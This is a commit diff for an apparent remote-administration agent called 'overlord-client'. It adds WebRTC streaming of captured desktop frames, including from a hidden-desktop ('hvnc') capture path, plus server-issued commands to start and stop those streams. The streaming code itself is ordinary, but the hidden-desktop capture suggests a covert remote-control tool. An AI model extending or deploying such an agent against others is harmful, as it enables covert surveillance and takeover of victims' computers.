WebRTC
This commit is contained in:
@@ -19,6 +19,7 @@ import (
|
|||||||
"time"
|
"time"
|
||||||
|
|
||||||
rt "overlord-client/cmd/agent/runtime"
|
rt "overlord-client/cmd/agent/runtime"
|
||||||
|
"overlord-client/cmd/agent/webrtcpub"
|
||||||
"overlord-client/cmd/agent/wire"
|
"overlord-client/cmd/agent/wire"
|
||||||
)
|
)
|
||||||
|
|
||||||
@@ -146,6 +147,21 @@ func CaptureAndSend(ctx context.Context, env *rt.Env) error {
|
|||||||
if ctx.Err() != nil {
|
if ctx.Err() != nil {
|
||||||
return nil
|
return nil
|
||||||
}
|
}
|
||||||
|
if frame.Header.Format == "h264" && webrtcpub.IsActive() {
|
||||||
|
dur := time.Second / time.Duration(fps)
|
||||||
|
if dur <= 0 {
|
||||||
|
dur = 33 * time.Millisecond
|
||||||
|
}
|
||||||
|
if werr := webrtcpub.WriteH264(frame.Data, dur); werr != nil {
|
||||||
|
log.Printf("webrtc: write h264 failed: %v", werr)
|
||||||
|
}
|
||||||
|
statFrames.Add(1)
|
||||||
|
statCapNs.Add(captureDur.Nanoseconds())
|
||||||
|
statEncNs.Add(encodeDur.Nanoseconds())
|
||||||
|
statTotalNs.Add(time.Since(t0).Nanoseconds())
|
||||||
|
statBytes.Add(int64(len(frame.Data)))
|
||||||
|
return nil
|
||||||
|
}
|
||||||
if !AcquireFrameSlot() {
|
if !AcquireFrameSlot() {
|
||||||
return nil // backpressure: server hasn't acked previous frames
|
return nil // backpressure: server hasn't acked previous frames
|
||||||
}
|
}
|
||||||
@@ -567,6 +583,9 @@ func buildFrame(img *image.RGBA, display int, quality int) (wire.Frame, time.Dur
|
|||||||
log.Printf("capture: h264 skipped for odd dimensions (%dx%d), falling back to jpeg", width, height)
|
log.Printf("capture: h264 skipped for odd dimensions (%dx%d), falling back to jpeg", width, height)
|
||||||
codec = "jpeg"
|
codec = "jpeg"
|
||||||
} else {
|
} else {
|
||||||
|
if webrtcpub.ConsumeKeyframeRequest() {
|
||||||
|
resetH264Encoder()
|
||||||
|
}
|
||||||
h264Bytes, err := encodeH264Frame(img)
|
h264Bytes, err := encodeH264Frame(img)
|
||||||
if err == nil && len(h264Bytes) > 0 {
|
if err == nil && len(h264Bytes) > 0 {
|
||||||
prevMu.Lock()
|
prevMu.Lock()
|
||||||
@@ -672,6 +691,9 @@ func buildFrameHVNC(img *image.RGBA, display int, quality int) (wire.Frame, time
|
|||||||
log.Printf("hvnc capture: h264 skipped for odd dimensions (%dx%d), falling back to jpeg", width, height)
|
log.Printf("hvnc capture: h264 skipped for odd dimensions (%dx%d), falling back to jpeg", width, height)
|
||||||
codec = "jpeg"
|
codec = "jpeg"
|
||||||
} else {
|
} else {
|
||||||
|
if webrtcpub.ConsumeKeyframeRequest() {
|
||||||
|
resetH264Encoder()
|
||||||
|
}
|
||||||
h264Bytes, err := encodeH264Frame(img)
|
h264Bytes, err := encodeH264Frame(img)
|
||||||
if err == nil && len(h264Bytes) > 0 {
|
if err == nil && len(h264Bytes) > 0 {
|
||||||
prevMu.Lock()
|
prevMu.Lock()
|
||||||
|
|||||||
@@ -610,6 +610,30 @@ func HandleCommand(ctx context.Context, env *runtime.Env, envelope map[string]in
|
|||||||
env.Plugins.Unload(pluginId)
|
env.Plugins.Unload(pluginId)
|
||||||
_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: pluginId, Event: "unloaded"})
|
_ = wire.WriteMsg(ctx, env.Conn, wire.PluginEvent{Type: "plugin_event", PluginID: pluginId, Event: "unloaded"})
|
||||||
return nil
|
return nil
|
||||||
|
case "webrtc_publish":
|
||||||
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
|
if payload == nil {
|
||||||
|
sendCommandResultSafe(env, cmdID, false, "missing payload")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return handleWebrtcPublish(ctx, env, cmdID, payload)
|
||||||
|
case "webrtc_stop":
|
||||||
|
return handleWebrtcStop(ctx, env, cmdID)
|
||||||
|
case "webrtc_p2p_offer":
|
||||||
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
|
if payload == nil {
|
||||||
|
sendCommandResultSafe(env, cmdID, false, "missing payload")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return handleWebrtcP2POffer(ctx, env, cmdID, payload)
|
||||||
|
case "webrtc_p2p_ice":
|
||||||
|
payload, _ := envelope["payload"].(map[string]interface{})
|
||||||
|
if payload == nil {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
return handleWebrtcP2PIce(ctx, env, cmdID, payload)
|
||||||
|
case "webrtc_p2p_stop":
|
||||||
|
return handleWebrtcP2PStop(ctx, env, cmdID)
|
||||||
case "desktop_start":
|
case "desktop_start":
|
||||||
if goruntime.GOOS == "darwin" {
|
if goruntime.GOOS == "darwin" {
|
||||||
perms := sysinfo.DarwinPermissions()
|
perms := sysinfo.DarwinPermissions()
|
||||||
|
|||||||
@@ -0,0 +1,154 @@
|
|||||||
|
package handlers
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"net/url"
|
||||||
|
"strings"
|
||||||
|
|
||||||
|
"overlord-client/cmd/agent/capture"
|
||||||
|
"overlord-client/cmd/agent/runtime"
|
||||||
|
"overlord-client/cmd/agent/webrtcpub"
|
||||||
|
"overlord-client/cmd/agent/wire"
|
||||||
|
)
|
||||||
|
|
||||||
|
func handleWebrtcPublish(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
|
||||||
|
whipPath, _ := payload["whipPath"].(string)
|
||||||
|
token, _ := payload["token"].(string)
|
||||||
|
if whipPath == "" || token == "" {
|
||||||
|
sendCommandResultSafe(env, cmdID, false, "missing whipPath/token")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
whipURL, err := buildWhipURL(env, whipPath)
|
||||||
|
if err != nil {
|
||||||
|
sendCommandResultSafe(env, cmdID, false, err.Error())
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
opts := webrtcpub.Options{
|
||||||
|
WhipURL: whipURL,
|
||||||
|
PublishToken: token,
|
||||||
|
TLSInsecureSkipVerify: env.Cfg.TLSInsecureSkipVerify,
|
||||||
|
TLSCAPath: env.Cfg.TLSCAPath,
|
||||||
|
}
|
||||||
|
|
||||||
|
goSafe("webrtc publish", env.Cancel, func() {
|
||||||
|
if _, err := webrtcpub.Start(ctx, opts); err != nil {
|
||||||
|
log.Printf("webrtc: publish start failed: %v", err)
|
||||||
|
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||||
|
Type: "command_result", CommandID: cmdID, OK: false, Message: err.Error(),
|
||||||
|
})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
// Force the encoder to emit a fresh SPS/PPS/IDR so the freshly
|
||||||
|
// subscribed viewer can start decoding immediately — otherwise it has
|
||||||
|
// to wait up to keyframeEvery for the next natural IDR.
|
||||||
|
capture.ResetPrev()
|
||||||
|
_ = wire.WriteMsg(ctx, env.Conn, wire.CommandResult{
|
||||||
|
Type: "command_result", CommandID: cmdID, OK: true,
|
||||||
|
})
|
||||||
|
})
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func handleWebrtcStop(ctx context.Context, env *runtime.Env, cmdID string) error {
|
||||||
|
_ = ctx
|
||||||
|
webrtcpub.Stop()
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func handleWebrtcP2POffer(ctx context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
|
||||||
|
sessionID, _ := payload["sessionId"].(string)
|
||||||
|
offerSDP, _ := payload["sdp"].(string)
|
||||||
|
if sessionID == "" || offerSDP == "" {
|
||||||
|
sendCommandResultSafe(env, cmdID, false, "missing sessionId/sdp")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
callbacks := webrtcpub.P2POfferCallbacks{
|
||||||
|
OnICE: func(c webrtcpub.ICECandidate) {
|
||||||
|
if c.Candidate == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
_ = wire.WriteMsg(ctx, env.Conn, wire.WebRTCP2PIce{
|
||||||
|
Type: "webrtc_p2p_ice",
|
||||||
|
SessionID: sessionID,
|
||||||
|
Candidate: c.Candidate,
|
||||||
|
SDPMid: c.SDPMid,
|
||||||
|
SDPMLineIndex: c.SDPMLineIndex,
|
||||||
|
})
|
||||||
|
},
|
||||||
|
OnClose: func() {
|
||||||
|
log.Printf("webrtc: P2P session %s closed", sessionID)
|
||||||
|
},
|
||||||
|
}
|
||||||
|
|
||||||
|
answerSDP, err := webrtcpub.StartP2POffer(ctx, sessionID, offerSDP, callbacks)
|
||||||
|
if err != nil {
|
||||||
|
sendCommandResultSafe(env, cmdID, false, err.Error())
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
// Force a fresh SPS/PPS/IDR so the new P2P viewer can decode immediately.
|
||||||
|
capture.ResetPrev()
|
||||||
|
_ = wire.WriteMsg(ctx, env.Conn, wire.WebRTCP2PAnswer{
|
||||||
|
Type: "webrtc_p2p_answer",
|
||||||
|
SessionID: sessionID,
|
||||||
|
SDP: answerSDP,
|
||||||
|
})
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func handleWebrtcP2PIce(_ context.Context, env *runtime.Env, cmdID string, payload map[string]interface{}) error {
|
||||||
|
sessionID, _ := payload["sessionId"].(string)
|
||||||
|
candidate, _ := payload["candidate"].(string)
|
||||||
|
mid, _ := payload["sdpMid"].(string)
|
||||||
|
var idx uint16
|
||||||
|
if v, ok := payloadInt32(payload, "sdpMLineIndex"); ok {
|
||||||
|
idx = uint16(v)
|
||||||
|
}
|
||||||
|
webrtcpub.AddP2PICECandidate(sessionID, webrtcpub.ICECandidate{
|
||||||
|
Candidate: candidate,
|
||||||
|
SDPMid: mid,
|
||||||
|
SDPMLineIndex: idx,
|
||||||
|
})
|
||||||
|
_ = env
|
||||||
|
_ = cmdID
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func handleWebrtcP2PStop(_ context.Context, env *runtime.Env, cmdID string) error {
|
||||||
|
webrtcpub.StopP2P()
|
||||||
|
sendCommandResultSafe(env, cmdID, true, "")
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func buildWhipURL(env *runtime.Env, whipPath string) (string, error) {
|
||||||
|
if len(env.Cfg.ServerURLs) == 0 {
|
||||||
|
return "", fmt.Errorf("no server URLs configured")
|
||||||
|
}
|
||||||
|
idx := env.Cfg.ServerIndex
|
||||||
|
if idx < 0 || idx >= len(env.Cfg.ServerURLs) {
|
||||||
|
idx = 0
|
||||||
|
}
|
||||||
|
base, err := url.Parse(env.Cfg.ServerURLs[idx])
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("parse server url: %w", err)
|
||||||
|
}
|
||||||
|
switch strings.ToLower(base.Scheme) {
|
||||||
|
case "wss":
|
||||||
|
base.Scheme = "https"
|
||||||
|
case "ws":
|
||||||
|
base.Scheme = "http"
|
||||||
|
}
|
||||||
|
if !strings.HasPrefix(whipPath, "/") {
|
||||||
|
whipPath = "/" + whipPath
|
||||||
|
}
|
||||||
|
base.Path = whipPath
|
||||||
|
base.RawQuery = ""
|
||||||
|
base.Fragment = ""
|
||||||
|
return base.String(), nil
|
||||||
|
}
|
||||||
@@ -0,0 +1,191 @@
|
|||||||
|
//go:build overlord_webrtc
|
||||||
|
|
||||||
|
package webrtcpub
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"log"
|
||||||
|
"sync"
|
||||||
|
|
||||||
|
"github.com/pion/webrtc/v4"
|
||||||
|
)
|
||||||
|
|
||||||
|
type p2pSession struct {
|
||||||
|
id string
|
||||||
|
pc *webrtc.PeerConnection
|
||||||
|
track *webrtc.TrackLocalStaticSample
|
||||||
|
onICE func(ICECandidate)
|
||||||
|
onClose func()
|
||||||
|
closeOnce sync.Once
|
||||||
|
}
|
||||||
|
|
||||||
|
var (
|
||||||
|
p2pMu sync.Mutex
|
||||||
|
p2p *p2pSession
|
||||||
|
)
|
||||||
|
|
||||||
|
func StartP2POffer(ctx context.Context, sessionID, offerSDP string, opts P2POfferCallbacks) (string, error) {
|
||||||
|
if sessionID == "" {
|
||||||
|
return "", errors.New("webrtcpub: empty sessionID")
|
||||||
|
}
|
||||||
|
if offerSDP == "" {
|
||||||
|
return "", errors.New("webrtcpub: empty offer SDP")
|
||||||
|
}
|
||||||
|
StopP2P()
|
||||||
|
|
||||||
|
mediaEngine := &webrtc.MediaEngine{}
|
||||||
|
if err := mediaEngine.RegisterCodec(webrtc.RTPCodecParameters{
|
||||||
|
RTPCodecCapability: webrtc.RTPCodecCapability{
|
||||||
|
MimeType: webrtc.MimeTypeH264,
|
||||||
|
ClockRate: 90000,
|
||||||
|
SDPFmtpLine: "level-asymmetry-allowed=1;packetization-mode=1;profile-level-id=42e01f",
|
||||||
|
},
|
||||||
|
PayloadType: 102,
|
||||||
|
}, webrtc.RTPCodecTypeVideo); err != nil {
|
||||||
|
return "", fmt.Errorf("register codec: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
api := webrtc.NewAPI(webrtc.WithMediaEngine(mediaEngine))
|
||||||
|
pc, err := api.NewPeerConnection(webrtc.Configuration{
|
||||||
|
ICEServers: []webrtc.ICEServer{
|
||||||
|
{URLs: []string{"stun:stun.l.google.com:19302"}},
|
||||||
|
},
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
return "", fmt.Errorf("new peer connection: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
track, err := webrtc.NewTrackLocalStaticSample(
|
||||||
|
webrtc.RTPCodecCapability{MimeType: webrtc.MimeTypeH264},
|
||||||
|
"overlord-video-p2p", "overlord-desktop",
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
_ = pc.Close()
|
||||||
|
return "", fmt.Errorf("new track: %w", err)
|
||||||
|
}
|
||||||
|
transceiver, err := pc.AddTransceiverFromTrack(track, webrtc.RTPTransceiverInit{
|
||||||
|
Direction: webrtc.RTPTransceiverDirectionSendonly,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
_ = pc.Close()
|
||||||
|
return "", fmt.Errorf("add transceiver: %w", err)
|
||||||
|
}
|
||||||
|
if sender := transceiver.Sender(); sender != nil {
|
||||||
|
go drainRTCP(sender)
|
||||||
|
}
|
||||||
|
|
||||||
|
sess := &p2pSession{
|
||||||
|
id: sessionID,
|
||||||
|
pc: pc,
|
||||||
|
track: track,
|
||||||
|
onICE: opts.OnICE,
|
||||||
|
onClose: opts.OnClose,
|
||||||
|
}
|
||||||
|
|
||||||
|
pc.OnICECandidate(func(c *webrtc.ICECandidate) {
|
||||||
|
if sess.onICE == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
if c == nil {
|
||||||
|
sess.onICE(ICECandidate{Candidate: ""})
|
||||||
|
return
|
||||||
|
}
|
||||||
|
init := c.ToJSON()
|
||||||
|
mid := ""
|
||||||
|
if init.SDPMid != nil {
|
||||||
|
mid = *init.SDPMid
|
||||||
|
}
|
||||||
|
var idx uint16
|
||||||
|
if init.SDPMLineIndex != nil {
|
||||||
|
idx = *init.SDPMLineIndex
|
||||||
|
}
|
||||||
|
sess.onICE(ICECandidate{
|
||||||
|
Candidate: init.Candidate,
|
||||||
|
SDPMid: mid,
|
||||||
|
SDPMLineIndex: idx,
|
||||||
|
})
|
||||||
|
})
|
||||||
|
pc.OnConnectionStateChange(func(state webrtc.PeerConnectionState) {
|
||||||
|
log.Printf("webrtcpub: P2P peer state=%s", state)
|
||||||
|
switch state {
|
||||||
|
case webrtc.PeerConnectionStateFailed, webrtc.PeerConnectionStateClosed, webrtc.PeerConnectionStateDisconnected:
|
||||||
|
sess.closeAndUnregister()
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
if err := pc.SetRemoteDescription(webrtc.SessionDescription{
|
||||||
|
Type: webrtc.SDPTypeOffer,
|
||||||
|
SDP: offerSDP,
|
||||||
|
}); err != nil {
|
||||||
|
_ = pc.Close()
|
||||||
|
return "", fmt.Errorf("set remote desc: %w", err)
|
||||||
|
}
|
||||||
|
answer, err := pc.CreateAnswer(nil)
|
||||||
|
if err != nil {
|
||||||
|
_ = pc.Close()
|
||||||
|
return "", fmt.Errorf("create answer: %w", err)
|
||||||
|
}
|
||||||
|
if err := pc.SetLocalDescription(answer); err != nil {
|
||||||
|
_ = pc.Close()
|
||||||
|
return "", fmt.Errorf("set local desc: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
p2pMu.Lock()
|
||||||
|
p2p = sess
|
||||||
|
p2pMu.Unlock()
|
||||||
|
registerWriter(p2pWriterID(sessionID), &trackWriter{t: track})
|
||||||
|
return answer.SDP, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func AddP2PICECandidate(sessionID string, c ICECandidate) {
|
||||||
|
if c.Candidate == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
p2pMu.Lock()
|
||||||
|
sess := p2p
|
||||||
|
p2pMu.Unlock()
|
||||||
|
if sess == nil || sess.id != sessionID {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
mid := c.SDPMid
|
||||||
|
idx := c.SDPMLineIndex
|
||||||
|
if err := sess.pc.AddICECandidate(webrtc.ICECandidateInit{
|
||||||
|
Candidate: c.Candidate,
|
||||||
|
SDPMid: &mid,
|
||||||
|
SDPMLineIndex: &idx,
|
||||||
|
}); err != nil {
|
||||||
|
log.Printf("webrtcpub: add p2p ICE candidate failed: %v", err)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// StopP2P tears down the active P2P session, if any.
|
||||||
|
func StopP2P() {
|
||||||
|
p2pMu.Lock()
|
||||||
|
sess := p2p
|
||||||
|
p2p = nil
|
||||||
|
p2pMu.Unlock()
|
||||||
|
if sess != nil {
|
||||||
|
sess.closeAndUnregister()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func (s *p2pSession) closeAndUnregister() {
|
||||||
|
s.closeOnce.Do(func() {
|
||||||
|
unregisterWriter(p2pWriterID(s.id))
|
||||||
|
_ = s.pc.Close()
|
||||||
|
if s.onClose != nil {
|
||||||
|
s.onClose()
|
||||||
|
}
|
||||||
|
})
|
||||||
|
p2pMu.Lock()
|
||||||
|
if p2p == s {
|
||||||
|
p2p = nil
|
||||||
|
}
|
||||||
|
p2pMu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
func p2pWriterID(sessionID string) string {
|
||||||
|
return "p2p:" + sessionID
|
||||||
|
}
|
||||||
@@ -0,0 +1,85 @@
|
|||||||
|
package webrtcpub
|
||||||
|
|
||||||
|
import (
|
||||||
|
"sync"
|
||||||
|
"sync/atomic"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
type FrameWriter interface {
|
||||||
|
WriteH264(nalu []byte, dur time.Duration) error
|
||||||
|
}
|
||||||
|
|
||||||
|
var (
|
||||||
|
writersMu sync.RWMutex
|
||||||
|
writers = map[string]FrameWriter{}
|
||||||
|
)
|
||||||
|
|
||||||
|
func registerWriter(id string, w FrameWriter) {
|
||||||
|
if id == "" || w == nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
writersMu.Lock()
|
||||||
|
writers[id] = w
|
||||||
|
writersMu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
func unregisterWriter(id string) {
|
||||||
|
if id == "" {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
writersMu.Lock()
|
||||||
|
delete(writers, id)
|
||||||
|
writersMu.Unlock()
|
||||||
|
}
|
||||||
|
|
||||||
|
func IsActive() bool {
|
||||||
|
writersMu.RLock()
|
||||||
|
defer writersMu.RUnlock()
|
||||||
|
return len(writers) > 0
|
||||||
|
}
|
||||||
|
|
||||||
|
var keyframeWanted atomic.Bool
|
||||||
|
|
||||||
|
func RequestKeyframe() {
|
||||||
|
keyframeWanted.Store(true)
|
||||||
|
}
|
||||||
|
|
||||||
|
func ConsumeKeyframeRequest() bool {
|
||||||
|
return keyframeWanted.Swap(false)
|
||||||
|
}
|
||||||
|
|
||||||
|
func WriteH264(nalu []byte, dur time.Duration) error {
|
||||||
|
if len(nalu) == 0 {
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
writersMu.RLock()
|
||||||
|
defer writersMu.RUnlock()
|
||||||
|
for _, w := range writers {
|
||||||
|
_ = w.WriteH264(nalu, dur)
|
||||||
|
}
|
||||||
|
return nil
|
||||||
|
}
|
||||||
|
|
||||||
|
// Deadass fuck WebRTC bro ts is so confusing
|
||||||
|
type Options struct {
|
||||||
|
// (e.g. https://server:5173/api/webrtc/agents/abc/whip).
|
||||||
|
WhipURL string
|
||||||
|
// PublishToken is the bearer token issued by the server.
|
||||||
|
PublishToken string
|
||||||
|
// TLSInsecureSkipVerify mirrors the agent's existing TLS config.
|
||||||
|
TLSInsecureSkipVerify bool
|
||||||
|
// TLSCAPath is an optional custom CA bundle.
|
||||||
|
TLSCAPath string
|
||||||
|
}
|
||||||
|
|
||||||
|
type ICECandidate struct {
|
||||||
|
Candidate string `msgpack:"candidate"`
|
||||||
|
SDPMid string `msgpack:"sdpMid"`
|
||||||
|
SDPMLineIndex uint16 `msgpack:"sdpMLineIndex"`
|
||||||
|
}
|
||||||
|
|
||||||
|
type P2POfferCallbacks struct {
|
||||||
|
OnICE func(c ICECandidate)
|
||||||
|
OnClose func()
|
||||||
|
}
|
||||||
@@ -0,0 +1,28 @@
|
|||||||
|
//go:build !overlord_webrtc
|
||||||
|
|
||||||
|
package webrtcpub
|
||||||
|
|
||||||
|
import (
|
||||||
|
"context"
|
||||||
|
"errors"
|
||||||
|
)
|
||||||
|
|
||||||
|
var ErrNotCompiled = errors.New("webrtc support not compiled in (build with -tags overlord_webrtc)")
|
||||||
|
|
||||||
|
type Publisher struct{}
|
||||||
|
|
||||||
|
func Start(_ context.Context, _ Options) (*Publisher, error) {
|
||||||
|
return nil, ErrNotCompiled
|
||||||
|
}
|
||||||
|
|
||||||
|
func Stop() {}
|
||||||
|
|
||||||
|
func (*Publisher) Close() {}
|
||||||
|
|
||||||
|
func StartP2POffer(_ context.Context, _ string, _ string, _ P2POfferCallbacks) (string, error) {
|
||||||
|
return "", ErrNotCompiled
|
||||||
|
}
|
||||||
|
|
||||||
|
func AddP2PICECandidate(_ string, _ ICECandidate) {}
|
||||||
|
|
||||||
|
func StopP2P() {}
|
||||||
@@ -0,0 +1,258 @@
|
|||||||
|
//go:build overlord_webrtc
|
||||||
|
|
||||||
|
package webrtcpub
|
||||||
|
|
||||||
|
import (
|
||||||
|
"bytes"
|
||||||
|
"context"
|
||||||
|
"crypto/tls"
|
||||||
|
"crypto/x509"
|
||||||
|
"errors"
|
||||||
|
"fmt"
|
||||||
|
"io"
|
||||||
|
"log"
|
||||||
|
"net/http"
|
||||||
|
"net/url"
|
||||||
|
"os"
|
||||||
|
"strings"
|
||||||
|
"sync"
|
||||||
|
"time"
|
||||||
|
|
||||||
|
"github.com/pion/rtcp"
|
||||||
|
"github.com/pion/webrtc/v4"
|
||||||
|
"github.com/pion/webrtc/v4/pkg/media"
|
||||||
|
)
|
||||||
|
|
||||||
|
func drainRTCP(sender *webrtc.RTPSender) {
|
||||||
|
buf := make([]byte, 1500)
|
||||||
|
for {
|
||||||
|
n, _, err := sender.Read(buf)
|
||||||
|
if err != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
packets, err := rtcp.Unmarshal(buf[:n])
|
||||||
|
if err != nil {
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
for _, p := range packets {
|
||||||
|
switch p.(type) {
|
||||||
|
case *rtcp.PictureLossIndication, *rtcp.FullIntraRequest:
|
||||||
|
RequestKeyframe()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
type trackWriter struct {
|
||||||
|
t *webrtc.TrackLocalStaticSample
|
||||||
|
}
|
||||||
|
|
||||||
|
func (w *trackWriter) WriteH264(nalu []byte, dur time.Duration) error {
|
||||||
|
return w.t.WriteSample(media.Sample{Data: nalu, Duration: dur})
|
||||||
|
}
|
||||||
|
|
||||||
|
const whipWriterID = "whip"
|
||||||
|
|
||||||
|
type Publisher struct {
|
||||||
|
pc *webrtc.PeerConnection
|
||||||
|
resourceURL string
|
||||||
|
token string
|
||||||
|
httpClient *http.Client
|
||||||
|
closeOnce sync.Once
|
||||||
|
}
|
||||||
|
|
||||||
|
var (
|
||||||
|
whipMu sync.Mutex
|
||||||
|
whip *Publisher
|
||||||
|
)
|
||||||
|
|
||||||
|
func Start(ctx context.Context, opts Options) (*Publisher, error) {
|
||||||
|
if strings.TrimSpace(opts.WhipURL) == "" {
|
||||||
|
return nil, errors.New("webrtcpub: empty WhipURL")
|
||||||
|
}
|
||||||
|
if strings.TrimSpace(opts.PublishToken) == "" {
|
||||||
|
return nil, errors.New("webrtcpub: empty PublishToken")
|
||||||
|
}
|
||||||
|
Stop()
|
||||||
|
|
||||||
|
httpClient := buildHTTPClient(opts)
|
||||||
|
|
||||||
|
mediaEngine := &webrtc.MediaEngine{}
|
||||||
|
if err := mediaEngine.RegisterCodec(webrtc.RTPCodecParameters{
|
||||||
|
RTPCodecCapability: webrtc.RTPCodecCapability{
|
||||||
|
MimeType: webrtc.MimeTypeH264,
|
||||||
|
ClockRate: 90000,
|
||||||
|
SDPFmtpLine: "level-asymmetry-allowed=1;packetization-mode=1;profile-level-id=42e01f",
|
||||||
|
},
|
||||||
|
PayloadType: 102,
|
||||||
|
}, webrtc.RTPCodecTypeVideo); err != nil {
|
||||||
|
return nil, fmt.Errorf("register codec: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
api := webrtc.NewAPI(webrtc.WithMediaEngine(mediaEngine))
|
||||||
|
pc, err := api.NewPeerConnection(webrtc.Configuration{})
|
||||||
|
if err != nil {
|
||||||
|
return nil, fmt.Errorf("new peer connection: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
track, err := webrtc.NewTrackLocalStaticSample(
|
||||||
|
webrtc.RTPCodecCapability{MimeType: webrtc.MimeTypeH264},
|
||||||
|
"overlord-video", "overlord-desktop",
|
||||||
|
)
|
||||||
|
if err != nil {
|
||||||
|
_ = pc.Close()
|
||||||
|
return nil, fmt.Errorf("new track: %w", err)
|
||||||
|
}
|
||||||
|
transceiver, err := pc.AddTransceiverFromTrack(track, webrtc.RTPTransceiverInit{
|
||||||
|
Direction: webrtc.RTPTransceiverDirectionSendonly,
|
||||||
|
})
|
||||||
|
if err != nil {
|
||||||
|
_ = pc.Close()
|
||||||
|
return nil, fmt.Errorf("add transceiver: %w", err)
|
||||||
|
}
|
||||||
|
if sender := transceiver.Sender(); sender != nil {
|
||||||
|
go drainRTCP(sender)
|
||||||
|
}
|
||||||
|
|
||||||
|
offer, err := pc.CreateOffer(nil)
|
||||||
|
if err != nil {
|
||||||
|
_ = pc.Close()
|
||||||
|
return nil, fmt.Errorf("create offer: %w", err)
|
||||||
|
}
|
||||||
|
gathered := webrtc.GatheringCompletePromise(pc)
|
||||||
|
if err := pc.SetLocalDescription(offer); err != nil {
|
||||||
|
_ = pc.Close()
|
||||||
|
return nil, fmt.Errorf("set local desc: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
select {
|
||||||
|
case <-gathered:
|
||||||
|
case <-time.After(5 * time.Second):
|
||||||
|
log.Printf("webrtcpub: ICE gathering timeout; continuing with partial candidates")
|
||||||
|
case <-ctx.Done():
|
||||||
|
_ = pc.Close()
|
||||||
|
return nil, ctx.Err()
|
||||||
|
}
|
||||||
|
|
||||||
|
answerSDP, resourceURL, err := postWhip(ctx, httpClient, opts.WhipURL, opts.PublishToken, pc.LocalDescription().SDP)
|
||||||
|
if err != nil {
|
||||||
|
_ = pc.Close()
|
||||||
|
return nil, err
|
||||||
|
}
|
||||||
|
if err := pc.SetRemoteDescription(webrtc.SessionDescription{
|
||||||
|
Type: webrtc.SDPTypeAnswer,
|
||||||
|
SDP: answerSDP,
|
||||||
|
}); err != nil {
|
||||||
|
_ = pc.Close()
|
||||||
|
return nil, fmt.Errorf("set remote desc: %w", err)
|
||||||
|
}
|
||||||
|
|
||||||
|
pub := &Publisher{
|
||||||
|
pc: pc,
|
||||||
|
resourceURL: resourceURL,
|
||||||
|
token: opts.PublishToken,
|
||||||
|
httpClient: httpClient,
|
||||||
|
}
|
||||||
|
|
||||||
|
pc.OnConnectionStateChange(func(state webrtc.PeerConnectionState) {
|
||||||
|
log.Printf("webrtcpub: WHIP peer state=%s", state)
|
||||||
|
switch state {
|
||||||
|
case webrtc.PeerConnectionStateFailed, webrtc.PeerConnectionStateClosed:
|
||||||
|
whipMu.Lock()
|
||||||
|
if whip == pub {
|
||||||
|
whip = nil
|
||||||
|
}
|
||||||
|
whipMu.Unlock()
|
||||||
|
unregisterWriter(whipWriterID)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
|
||||||
|
whipMu.Lock()
|
||||||
|
whip = pub
|
||||||
|
whipMu.Unlock()
|
||||||
|
registerWriter(whipWriterID, &trackWriter{t: track})
|
||||||
|
log.Printf("webrtcpub: WHIP session established (resource=%s)", resourceURL)
|
||||||
|
return pub, nil
|
||||||
|
}
|
||||||
|
|
||||||
|
func Stop() {
|
||||||
|
whipMu.Lock()
|
||||||
|
p := whip
|
||||||
|
whip = nil
|
||||||
